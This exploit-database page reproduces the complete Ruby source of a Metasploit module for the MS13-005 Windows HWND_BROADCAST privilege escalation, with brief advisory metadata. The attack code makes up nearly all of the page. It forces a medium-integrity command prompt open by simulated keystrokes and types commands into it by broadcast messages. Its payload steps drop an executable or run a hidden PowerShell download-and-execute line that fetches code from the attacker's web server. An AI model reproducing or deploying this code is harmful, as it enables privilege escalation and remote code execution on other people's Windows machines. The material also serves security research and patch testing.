Microsoft Windows Kernel HWND_BROADCAST Privilege Escalation

2013.07.30
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

## # ## This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Powershell include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper include Msf::Post::File def initialize(info={}) super( update_info( info, 'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation', 'Description' => %q{ The Windows kernel does not properly isolate broadcast messages from low integrity applications from medium or high integrity applications. This allows commands to be broadcasted to an open medium or high integrity command prompts allowing escalation of privileges. We can spawn a medium integrity command prompt, after spawning a low integrity command prompt, by using the Win+Shift+# combination to specify the position of the command prompt on the taskbar. We can then broadcast our command and hope that the user is away and doesn't corrupt it by interacting with the UI. Broadcast issue affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, RT. But Spawning a command prompt with the shortcut key does not work in Vista so you will have to check if the user is already running a command prompt and set SPAWN_PROMPT false. The WEB technique will execute a powershell encoded payload from a Web location. The FILE technique will drop an executable to the file system, set it to medium integrity and execute it. The TYPE technique will attempt to execute a powershell encoded payload directly from the command line but it may take some time to complete. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy', # Discovery 'Axel Souchet', # @0vercl0k POC 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate'=> "Nov 27 2012", 'References' => [ [ 'CVE', '2013-0008' ], [ 'MSB', 'MS13-005' ], [ 'OSVDB', '88966'], [ 'URL', 'http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html' ] ] )) register_options( [ OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]), OptEnum.new('TECHNIQUE', [true, 'Delivery technique', 'WEB', ['WEB','FILE','TYPE']]), OptString.new('CUSTOM_COMMAND', [false, 'Custom command to type']) ], self.class ) end def low_integrity_level? tmp_dir = expand_path("%USERPROFILE%") cd(tmp_dir) new_dir = "#{rand_text_alpha(5)}" begin session.shell_command_token("mkdir #{new_dir}") rescue return true end if directory?(new_dir) session.shell_command_token("rmdir #{new_dir}") return false else return true end end def win_shift(number) vk = 0x30 + number bscan = 0x81 + number client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 0, 0) client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 0, 0) client.railgun.user32.keybd_event(vk, bscan, 0, 0) client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0) client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 'KEYEVENTF_KEYUP', 0) client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 'KEYEVENTF_KEYUP', 0) end def count_cmd_procs count = 0 client.sys.process.each_process do |proc| if proc['name'] == 'cmd.exe' count += 1 end end vprint_status("Cmd prompt count: #{count}") return count end def cleanup if datastore['SPAWN_PROMPT'] and @hwin vprint_status("Rehiding window...") client.railgun.user32.ShowWindow(@hwin, 0) end super end def exploit # First of all check if the session is running on Low Integrity Level. # If it isn't doesn't worth continue print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? fail_with(Exploit::Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level? # If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which # hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low # integrity process can write. drop_to_fs = false if datastore['TECHNIQUE'] == 'FILE' payload_file = "#{rand_text_alpha(5+rand(3))}.exe" begin tmp_dir = expand_path("%TEMP%") tmp_dir << "\\Low" unless tmp_dir[-3,3] =~ /Low/i cd(tmp_dir) print_status("Trying to drop payload to #{tmp_dir}...") if write_file(payload_file, generate_payload_exe) print_good("Payload dropped successfully, exploiting...") drop_to_fs = true register_file_for_cleanup(payload_file) payload_path = tmp_dir else print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.") drop_to_fs = false end rescue ::Rex::Post::Meterpreter::RequestError print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.") drop_to_fs = false end end if drop_to_fs command = "cd #{payload_path} && icacls #{payload_file} /setintegritylevel medium && #{payload_file}" make_it(command) elsif datastore['TECHNIQUE'] == 'TYPE' if datastore['CUSTOM_COMMAND'] command = datastore['CUSTOM_COMMAND'] else print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the psh payload") command = cmd_psh_payload(payload.encoded) end make_it(command) else super end end def primer url = get_uri() download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))" command = "powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}" make_it(command) end def make_it(command) if datastore['SPAWN_PROMPT'] @hwin = client.railgun.kernel32.GetConsoleWindow()['return'] if @hwin == nil @hwin = client.railgun.user32.GetForegroundWindow()['return'] end client.railgun.user32.ShowWindow(@hwin, 0) client.railgun.user32.ShowWindow(@hwin, 5) # Spawn low integrity cmd.exe print_status("Spawning Low Integrity Cmd Prompt") windir = client.fs.file.expand_path("%windir%") li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, {'Hidden' => false }).pid count = count_cmd_procs spawned = false print_status("Bruteforcing Taskbar Position") 9.downto(1) do |number| vprint_status("Attempting Win+Shift+#{number}") win_shift(number) sleep(1) if count_cmd_procs > count print_good("Spawned Medium Integrity Cmd Prompt") spawned = true break end end client.sys.process.kill(li_cmd_pid) fail_with(Exploit::Failure::Unknown, "No Cmd Prompt spawned") unless spawned end print_status("Broadcasting payload command to prompt... I hope the user is asleep!") command.each_char do |c| print c if command.length < 200 client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0) end print_line print_status("Executing command...") client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0) end def on_request_uri(cli, request) print_status("Delivering Payload") data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) end end

References:

https://cxsecurity.com/issue/WLB-2013020053


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